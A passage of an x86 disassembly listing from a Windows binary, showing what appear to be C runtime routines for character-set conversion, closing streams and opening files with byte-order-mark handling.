		jz	short loc_418B5A
		cmp	[ebp+var_18], 1
		jnz	short loc_418B5A
		mov	esi, [ebp+var_24]
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_2C], 1
		jnz	short loc_418B30
		push	[ebp+var_28]
		call	sub_40D970
		mov	esi, eax
		pop	ecx
		inc	esi


loc_418B30:				; CODE XREF: sub_418AA7+7Bj
		cmp	esi, edi


loc_418B32:				; CODE XREF: sub_418AA7+C6j
		jle	short loc_418B8F
		cmp	esi, 7FFFFFF0h
		ja	short loc_418B8F
		lea	eax, [esi+esi+8]
		cmp	eax, 400h
		ja	short loc_418B76
		call	sub_418C60
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_418B8A
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_418B87
; ---------------------------------------------------------------------------


loc_418B5A:				; CODE XREF: sub_418AA7+53j
					; sub_418AA7+59j ...
		push	edi
		push	edi
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_418B32


loc_418B6F:				; CODE XREF: sub_418AA7+EEj
		xor	eax, eax
		jmp	loc_418C47
; ---------------------------------------------------------------------------


loc_418B76:				; CODE XREF: sub_418AA7+9Ej
		push	eax
		call	sub_411069
		cmp	eax, edi
		pop	ecx
		jz	short loc_418B8A
		mov	dword ptr [eax], 0DDDDh


loc_418B87:				; CODE XREF: sub_418AA7+B1j
		add	eax, 8


loc_418B8A:				; CODE XREF: sub_418AA7+A9j
					; sub_418AA7+D8j
		mov	[ebp+var_1C], eax
		jmp	short loc_418B92
; ---------------------------------------------------------------------------


loc_418B8F:				; CODE XREF: sub_418AA7:loc_418B32j
					; sub_418AA7+93j
		mov	[ebp+var_1C], edi


loc_418B92:				; CODE XREF: sub_418AA7+E6j
		cmp	[ebp+var_1C], edi
		jz	short loc_418B6F
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_40DD10
		add	esp, 0Ch
		push	esi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_418C3B
		mov	ebx, [ebp+var_34]
		cmp	ebx, edi
		jz	short loc_418BE0
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	dword_41C170	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_418C3B
		mov	[ebp+var_20], ebx
		jmp	short loc_418C3B
; ---------------------------------------------------------------------------


loc_418BE0:				; CODE XREF: sub_418AA7+11Aj
		cmp	[ebp+var_2C], edi
		mov	ebx, dword_41C170
		jnz	short loc_418BFF
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_418C3B


loc_418BFF:				; CODE XREF: sub_418AA7+142j
		push	esi
		push	1
		call	sub_412363
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		jz	short loc_418C3B
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_418C30
		push	[ebp+var_20]
		call	sub_41112C
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_418C3B
; ---------------------------------------------------------------------------


loc_418C30:				; CODE XREF: sub_418AA7+179j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_418C3B
		mov	ecx, [ebp+var_30]
		mov	[ecx], eax


loc_418C3B:				; CODE XREF: sub_418AA7+113j
					; sub_418AA7+132j ...
		push	[ebp+var_1C]
		call	sub_413588
		pop	ecx


loc_418C44:				; CODE XREF: sub_418AA7+38j
		mov	eax, [ebp+var_20]


loc_418C47:				; CODE XREF: sub_418AA7+CAj
		lea	esp, [ebp-40h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_410BCD
		leave
		retn
sub_418AA7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C60	proc near		; CODE XREF: sub_4135A3+F3p
					; sub_4135A3+1B1p ...

arg_0		= byte ptr  4

; FUNCTION CHUNK AT 0041A3D0 SIZE 0000002B BYTES

		push	ecx
		lea	ecx, [esp+4+arg_0]
		sub	ecx, eax
		and	ecx, 0Fh
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	loc_41A3D0
sub_418C60	endp

; ---------------------------------------------------------------------------
		push	ecx
		lea	ecx, [esp+8]
		sub	ecx, eax
		and	ecx, 7
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	loc_41A3D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8C	proc near		; CODE XREF: sub_413B39+Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_41FDB8
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		push	1
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	3
		pop	edi


loc_418CAB:				; CODE XREF: sub_418C8C+7Fj
		mov	[ebp+var_20], edi
		cmp	edi, dword_426000
		jge	short loc_418D0D
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_424FE0
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_418D0A
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_418CDD
		push	eax
		call	sub_40FD7C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418CDD
		inc	[ebp+var_1C]


loc_418CDD:				; CODE XREF: sub_418C8C+40j
					; sub_418C8C+4Cj
		cmp	edi, 14h
		jl	short loc_418D0A
		mov	eax, dword_424FE0
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_41C0CC	; RtlDeleteCriticalSection
		mov	eax, dword_424FE0
		push	dword ptr [esi+eax]
		call	sub_41112C
		pop	ecx
		mov	eax, dword_424FE0
		mov	[esi+eax], ebx


loc_418D0A:				; CODE XREF: sub_418C8C+38j
					; sub_418C8C+54j
		inc	edi
		jmp	short loc_418CAB
; ---------------------------------------------------------------------------


loc_418D0D:				; CODE XREF: sub_418C8C+28j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_418D22
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_418C8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D22	proc near		; CODE XREF: sub_418C8C+88p
					; DATA XREF: .vty:0041FDD0o
		push	1
		call	sub_416CCE
		pop	ecx
		retn
sub_418D22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D2B	proc near		; CODE XREF: sub_419369+72p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	ebx, ebx
		test	byte ptr [ebp+arg_8], 80h
		push	edi
		push	10h
		mov	esi, eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_2], bl
		mov	[ebp+var_28], 0Ch
		mov	[ebp+var_24], ebx
		pop	edi
		jz	short loc_418D5D
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_418D67
; ---------------------------------------------------------------------------


loc_418D5D:				; CODE XREF: sub_418D2B+27j
		mov	[ebp+var_20], 1
		mov	[ebp+var_1], bl


loc_418D67:				; CODE XREF: sub_418D2B+30j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41AC7F
		test	eax, eax
		pop	ecx
		jz	short loc_418D82
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DBDC
		add	esp, 14h


loc_418D82:				; CODE XREF: sub_418D2B+48j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_412542
		test	eax, eax
		pop	ecx
		jz	short loc_418D9D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DBDC
		add	esp, 14h


loc_418D9D:				; CODE XREF: sub_418D2B+63j
		mov	eax, 8000h
		test	[ebp+arg_8], eax
		jnz	short loc_418DB9
		test	[ebp+arg_8], 74000h
		jnz	short loc_418DB5
		cmp	[ebp+var_14], eax
		jz	short loc_418DB9


loc_418DB5:				; CODE XREF: sub_418D2B+83j
		or	[ebp+var_1], 80h


loc_418DB9:				; CODE XREF: sub_418D2B+7Aj
					; sub_418D2B+88j
		mov	eax, [ebp+arg_8]
		push	3
		pop	edx
		and	eax, edx
		sub	eax, ebx
		mov	ecx, 80000000h
		jz	short loc_418E08
		dec	eax
		jz	short loc_418DFF
		dec	eax
		jz	short loc_418DF6


loc_418DD0:				; CODE XREF: sub_418D2B+F6j
					; sub_418D2B+14Fj ...
		call	sub_40F7B1
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_40F79E
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40DCD8
		add	esp, 14h
		jmp	loc_419285
; ---------------------------------------------------------------------------


loc_418DF6:				; CODE XREF: sub_418D2B+A3j
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_418E0B
; ---------------------------------------------------------------------------


loc_418DFF:				; CODE XREF: sub_418D2B+A0j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_418E0B
; ---------------------------------------------------------------------------


loc_418E08:				; CODE XREF: sub_418D2B+9Dj
		mov	[ebp+var_C], ecx


loc_418E0B:				; CODE XREF: sub_418D2B+D2j
					; sub_418D2B+DBj
		mov	eax, [ebp+arg_C]
		sub	eax, edi
		jz	short loc_418E47
		sub	eax, edi
		jz	short loc_418E3E
		sub	eax, edi
		jz	short loc_418E35
		sub	eax, edi
		jz	short loc_418E30
		sub	eax, 40h
		jnz	short loc_418DD0
		xor	eax, eax
		cmp	[ebp+var_C], ecx
		setz	al
		mov	[ebp+var_8], eax
		jmp	short loc_418E4A
; ---------------------------------------------------------------------------


loc_418E30:				; CODE XREF: sub_418D2B+F1j
		mov	[ebp+var_8], edx
		jmp	short loc_418E4A
; ---------------------------------------------------------------------------


loc_418E35:				; CODE XREF: sub_418D2B+EDj
		mov	[ebp+var_8], 2
		jmp	short loc_418E4A
; ---------------------------------------------------------------------------


loc_418E3E:				; CODE XREF: sub_418D2B+E9j
		mov	[ebp+var_8], 1
		jmp	short loc_418E4A
; ---------------------------------------------------------------------------


loc_418E47:				; CODE XREF: sub_418D2B+E5j
		mov	[ebp+var_8], ebx


loc_418E4A:				; CODE XREF: sub_418D2B+103j
					; sub_418D2B+108j ...
		mov	eax, [ebp+arg_8]
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		jg	short loc_418E9B
		jz	short loc_418E92
		cmp	eax, ebx
		jz	short loc_418E92
		cmp	eax, 100h
		jz	short loc_418E89
		cmp	eax, 200h
		jz	loc_418F0D
		cmp	eax, 300h
		jnz	loc_418DD0
		mov	[ebp+var_10], 2
		jmp	short loc_418EB8
; ---------------------------------------------------------------------------


loc_418E89:				; CODE XREF: sub_418D2B+13Dj
		mov	[ebp+var_10], 4
		jmp	short loc_418EB8
; ---------------------------------------------------------------------------


loc_418E92:				; CODE XREF: sub_418D2B+132j
					; sub_418D2B+136j
		mov	[ebp+var_10], 3
		jmp	short loc_418EB8
; ---------------------------------------------------------------------------


loc_418E9B:				; CODE XREF: sub_418D2B+130j
		cmp	eax, 500h
		jz	short loc_418EB1
		cmp	eax, 600h
		jz	short loc_418F0D
		cmp	eax, edx
		jnz	loc_418DD0


loc_418EB1:				; CODE XREF: sub_418D2B+175j
		mov	[ebp+var_10], 1


loc_418EB8:				; CODE XREF: sub_418D2B+15Cj
					; sub_418D2B+165j ...
		mov	ecx, [ebp+arg_8]
		mov	eax, 100h
		test	ecx, eax
		mov	edi, 80h
		jz	short loc_418EDB
		mov	edx, dword_4243B4
		not	edx
		and	edx, [ebp+arg_10]
		test	dl, dl
		js	short loc_418EDB
		xor	edi, edi
		inc	edi


loc_418EDB:				; CODE XREF: sub_418D2B+19Cj
					; sub_418D2B+1ABj
		test	cl, 40h
		jz	short loc_418EF7
		or	[ebp+var_C], 10000h
		or	edi, 4000000h
		cmp	[ebp+var_18], 2
		jnz	short loc_418EF7
		or	[ebp+var_8], 4


loc_418EF7:				; CODE XREF: sub_418D2B+1B3j
					; sub_418D2B+1C6j
		test	cx, 1000h
		jz	short loc_418F00
		or	edi, eax


loc_418F00:				; CODE XREF: sub_418D2B+1D1j
		test	cl, 20h
		jz	short loc_418F16
		or	edi, 8000000h
		jmp	short loc_418F21
; ---------------------------------------------------------------------------


loc_418F0D:				; CODE XREF: sub_418D2B+144j
					; sub_418D2B+17Cj
		mov	[ebp+var_10], 5
		jmp	short loc_418EB8
; ---------------------------------------------------------------------------


loc_418F16:				; CODE XREF: sub_418D2B+1D8j
		test	cl, 10h
		jz	short loc_418F21
		or	edi, 10000000h


loc_418F21:				; CODE XREF: sub_418D2B+1E0j
					; sub_418D2B+1EEj
		call	sub_419F38
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_418F44
		call	sub_40F7B1
		mov	[eax], ebx
		or	dword ptr [esi], 0FFFFFFFFh
		call	sub_40F79E
		mov	dword ptr [eax], 18h
		jmp	short loc_418F94
; ---------------------------------------------------------------------------


loc_418F44:				; CODE XREF: sub_418D2B+200j
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		push	[ebp+var_10]
		mov	dword ptr [eax], 1
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		call	dword_41C034	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_418FA0
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_424EE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh


loc_418F87:				; CODE XREF: sub_418D2B+2A2j
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		call	sub_40F7C4


loc_418F93:				; CODE XREF: sub_418D2B+345j
		pop	ecx


loc_418F94:				; CODE XREF: sub_418D2B+217j
		call	sub_40F79E
		mov	eax, [eax]
		jmp	loc_419364
; ---------------------------------------------------------------------------


loc_418FA0:				; CODE XREF: sub_418D2B+23Fj
		push	edi
		call	dword_41C1A0	; GetFileType
		cmp	eax, ebx
		jnz	short loc_418FCF
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_424EE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FEh
		push	edi
		call	dword_41C0D4	; CloseHandle
		jmp	short loc_418F87
; ---------------------------------------------------------------------------


loc_418FCF:				; CODE XREF: sub_418D2B+27Ej
		cmp	eax, 2
		jnz	short loc_418FDA
		or	[ebp+var_1], 40h
		jmp	short loc_418FE3
; ---------------------------------------------------------------------------


loc_418FDA:				; CODE XREF: sub_418D2B+2A7j
		cmp	eax, 3
		jnz	short loc_418FE3
		or	[ebp+var_1], 8


loc_418FE3:				; CODE XREF: sub_418D2B+2ADj
					; sub_418D2B+2B2j
		push	edi
		push	dword ptr [esi]
		call	sub_419D07
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_424EE0[edx*4]
		pop	ecx
		pop	ecx
		mov	cl, [ebp+var_1]
		or	cl, 1
		mov	[edx+eax+4], cl
		mov	eax, [esi]
		mov	edx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	edx, 5
		mov	edx, dword_424EE0[edx*4]
		lea	eax, [edx+eax+24h]
		and	byte ptr [eax],	80h
		mov	[ebp+var_3], cl
		and	[ebp+var_3], 48h
		mov	[ebp+var_1], cl
		jnz	loc_4190B6
		test	cl, 80h
		jz	loc_4192F0
		test	byte ptr [ebp+arg_8], 2
		jz	short loc_4190B6
		push	2
		or	edi, 0FFFFFFFFh
		push	edi
		push	dword ptr [esi]
		call	sub_41AB51
		add	esp, 0Ch
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_419075
		call	sub_40F7B1
		cmp	dword ptr [eax], 83h
		jz	short loc_4190B6


loc_419069:				; CODE XREF: sub_418D2B+379j
					; sub_418D2B+389j ...
		push	dword ptr [esi]
		call	sub_414C65
		jmp	loc_418F93
; ---------------------------------------------------------------------------


loc_419075:				; CODE XREF: sub_418D2B+32Fj
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_4], bl
		call	sub_41A5AF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4190A6
		cmp	[ebp+var_4], 1Ah
		jnz	short loc_4190A6
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		push	dword ptr [esi]
		call	sub_41A3FB
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_419069


loc_4190A6:				; CODE XREF: sub_418D2B+35Fj
					; sub_418D2B+365j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_41AB51
		add	esp, 0Ch
		cmp	eax, edi
		jz	short loc_419069


loc_4190B6:				; CODE XREF: sub_418D2B+305j
					; sub_418D2B+318j ...
		test	[ebp+var_1], 80h
		jz	loc_4192F0
		mov	ecx, 74000h
		test	[ebp+arg_8], ecx
		mov	edi, 4000h
		jnz	short loc_4190DE
		mov	eax, [ebp+var_14]
		and	eax, ecx
		jnz	short loc_4190DB
		or	[ebp+arg_8], edi
		jmp	short loc_4190DE
; ---------------------------------------------------------------------------


loc_4190DB:				; CODE XREF: sub_418D2B+3A9j
		or	[ebp+arg_8], eax


loc_4190DE:				; CODE XREF: sub_418D2B+3A2j
					; sub_418D2B+3AEj
		mov	eax, [ebp+arg_8]
		and	eax, ecx
		cmp	eax, edi
		jz	short loc_41912B
		cmp	eax, 10000h
		jz	short loc_419117
		cmp	eax, 14000h
		jz	short loc_419117
		cmp	eax, 20000h
		jz	short loc_419125
		cmp	eax, 24000h
		jz	short loc_419125
		cmp	eax, 40000h
		jz	short loc_419111
		cmp	eax, 44000h
		jnz	short loc_41912E


loc_419111:				; CODE XREF: sub_418D2B+3DDj
		mov	[ebp+var_2], 1
		jmp	short loc_41912E
; ---------------------------------------------------------------------------


loc_419117:				; CODE XREF: sub_418D2B+3C1j
					; sub_418D2B+3C8j
		mov	ecx, [ebp+arg_8]
		mov	eax, 301h
		and	ecx, eax
		cmp	ecx, eax
		jnz	short loc_41912E


loc_419125:				; CODE XREF: sub_418D2B+3CFj
					; sub_418D2B+3D6j
		mov	[ebp+var_2], 2
		jmp	short loc_41912E
; ---------------------------------------------------------------------------


loc_41912B:				; CODE XREF: sub_418D2B+3BAj
		mov	[ebp+var_2], bl


loc_41912E:				; CODE XREF: sub_418D2B+3E4j
					; sub_418D2B+3EAj ...
		test	[ebp+arg_8], 70000h
		jz	loc_4192F0
		test	[ebp+var_1], 40h
		mov	[ebp+var_8], ebx
		jnz	loc_4192F0
		mov	eax, [ebp+var_C]
		mov	ecx, 0C0000000h
		and	eax, ecx
		cmp	eax, 40000000h
		jz	loc_419214
		cmp	eax, 80000000h
		jz	short loc_4191DB
		cmp	eax, ecx
		jnz	loc_4192F0
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_4192F0
		cmp	eax, 2
		jbe	short loc_41918A
		cmp	eax, 4
		jbe	short loc_4191B1


loc_419181:				; CODE XREF: sub_418D2B+500j
		cmp	eax, 5
		jnz	loc_4192F0


loc_41918A:				; CODE XREF: sub_418D2B+44Fj
					; sub_418D2B+496j ...
		movsx	eax, [ebp+var_2]
		xor	edi, edi
		dec	eax
		jz	loc_4192BD
		dec	eax
		jnz	loc_4192F0
		mov	[ebp+var_8], 0FEFFh
		mov	[ebp+var_10], 2
		jmp	loc_4192CB
; ---------------------------------------------------------------------------


loc_4191B1:				; CODE XREF: sub_418D2B+454j
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_4178D6
		add	esp, 10h
		or	eax, edx
		jz	short loc_41918A
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_4178D6
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_419069


loc_4191DB:				; CODE XREF: sub_418D2B+437j
		push	3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_41A5AF
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_419069
		cmp	eax, 2
		jz	short loc_419264
		cmp	eax, 3
		jnz	loc_4192AF
		cmp	[ebp+var_8], 0BFBBEFh
		jnz	short loc_419264
		mov	[ebp+var_2], 1
		jmp	loc_4192F0
; ---------------------------------------------------------------------------


loc_419214:				; CODE XREF: sub_418D2B+42Cj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jbe	loc_4192F0
		cmp	eax, 2
		jbe	loc_41918A
		cmp	eax, 4
		ja	loc_419181
		push	2
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_4178D6
		add	esp, 10h
		or	eax, edx
		jz	loc_41918A
		push	ebx
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_4178D6
		add	esp, 10h
		and	eax, edx


loc_419256:				; CODE XREF: sub_418D2B+590j
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4192F0
		jmp	loc_419069
; ---------------------------------------------------------------------------


loc_419264:				; CODE XREF: sub_418D2B+4CCj
					; sub_418D2B+4DEj
		mov	eax, [ebp+var_8]
		and	eax, 0FFFFh
		cmp	eax, 0FFFEh
		jnz	short loc_41928C
		push	dword ptr [esi]
		call	sub_414C65
		pop	ecx
		call	sub_40F79E
		push	16h
		pop	esi
		mov	[eax], esi


loc_419285:				; CODE XREF: sub_418D2B+C6j
		mov	eax, esi
		jmp	loc_419364
; ---------------------------------------------------------------------------


loc_41928C:				; CODE XREF: sub_418D2B+546j
		cmp	eax, 0FEFFh
		jnz	short loc_4192AF
		push	ebx
		push	2
		push	dword ptr [esi]
		call	sub_41AB51
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_419069
		mov	[ebp+var_2], 2
		jmp	short loc_4192F0
; ---------------------------------------------------------------------------


loc_4192AF:				; CODE XREF: sub_418D2B+4D1j
					; sub_418D2B+566j
		push	ebx
		push	ebx
		push	dword ptr [esi]
		call	sub_41AB51
		add	esp, 0Ch
		jmp	short loc_419256
; ---------------------------------------------------------------------------


loc_4192BD:				; CODE XREF: sub_418D2B+466j
		mov	[ebp+var_8], 0BFBBEFh
		mov	[ebp+var_10], 3


loc_4192CB:				; CODE XREF: sub_418D2B+481j
					; sub_418D2B+5C3j
		mov	eax, [ebp+var_10]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_8]
		push	eax
		push	dword ptr [esi]
		call	sub_4149D5
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_419069
		add	edi, eax
		cmp	[ebp+var_10], edi
		jg	short loc_4192CB


loc_4192F0:				; CODE XREF: sub_418D2B+30Ej
					; sub_418D2B+38Fj ...
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_424EE0[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	cl, [eax]
		xor	cl, [ebp+var_2]
		and	cl, 7Fh
		xor	[eax], cl
		mov	eax, [esi]
		mov	ecx, eax
		and	eax, 1Fh
		imul	eax, 28h
		sar	ecx, 5
		mov	ecx, dword_424EE0[ecx*4]
		lea	eax, [ecx+eax+24h]
		mov	ecx, [ebp+arg_8]
		mov	dl, [eax]
		shr	ecx, 10h
		shl	cl, 7
		and	dl, 7Fh
		or	cl, dl
		cmp	[ebp+var_3], bl
		mov	[eax], cl
		jnz	short loc_419362
		test	byte ptr [ebp+arg_8], 8
		jz	short loc_419362
		mov	esi, [esi]
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_424EE0[eax*4]
		lea	eax, [eax+esi+4]
		or	byte ptr [eax],	20h


loc_419362:				; CODE XREF: sub_418D2B+614j
					; sub_418D2B+61Aj
		mov	eax, ebx


loc_419364:				; CODE XREF: sub_418D2B+270j
					; sub_418D2B+55Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418D2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419369	proc near		; CODE XREF: sub_419435+14p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	14h
		push	offset dword_41FDD8
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		xor	eax, eax
		mov	edi, [ebp+arg_10]
		cmp	edi, esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_4193A3


loc_419388:				; CODE XREF: sub_419369+47j
					; sub_419369+5Bj
		call	sub_40F79E
		push	16h
		pop	edi
		mov	[eax], edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, edi
		jmp	short loc_4193FC
; ---------------------------------------------------------------------------


loc_4193A3:				; CODE XREF: sub_419369+1Dj
		or	dword ptr [edi], 0FFFFFFFFh
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_419388
		cmp	[ebp+arg_14], esi
		jz	short loc_4193C6
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFFFE7Fh
		neg	eax
		sbb	eax, eax
		inc	eax
		jz	short loc_419388


loc_4193C6:				; CODE XREF: sub_419369+4Cj
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, edi
		call	sub_418D2B
		add	esp, 14h
		mov	[ebp+var_20], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_419407
		mov	eax, [ebp+var_20]
		cmp	eax, esi
		jz	short loc_4193FC
		or	dword ptr [edi], 0FFFFFFFFh


loc_4193FC:				; CODE XREF: sub_419369+38j
					; sub_419369+8Ej
		call	__SEH_epilog4
		retn
sub_419369	endp


; =============== S U B	R O U T	I N E =======================================



sub_419402	proc near		; DATA XREF: .vty:0041FDF0o
		xor	esi, esi
		mov	edi, [ebp+18h]
sub_419402	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419407	proc near		; CODE XREF: sub_419369+84p
		cmp	[ebp-1Ch], esi
		jz	short locret_419434
		cmp	[ebp-20h], esi
		jz	short loc_41942C
		mov	eax, [edi]
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		imul	eax, 28h
		mov	ecx, dword_424EE0[ecx*4]
		lea	eax, [ecx+eax+4]
		and	byte ptr [eax],	0FEh


loc_41942C:				; CODE XREF: sub_419407+8j
		push	dword ptr [edi]
		call	sub_419F16
		pop	ecx

locret_419434:				; CODE XREF: sub_419407+3j
		retn
sub_419407	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419435	proc near		; CODE XREF: sub_413BFD+26Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_419369
		add	esp, 18h
		pop	ebp
		retn
sub_419435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419453	proc near		; CODE XREF: sub_41966D+Ap

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_14]
		call	sub_40F7E2
		mov	edx, [ebp+arg_0]
		xor	esi, esi
		cmp	edx, esi
		jnz	short loc_41949D
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
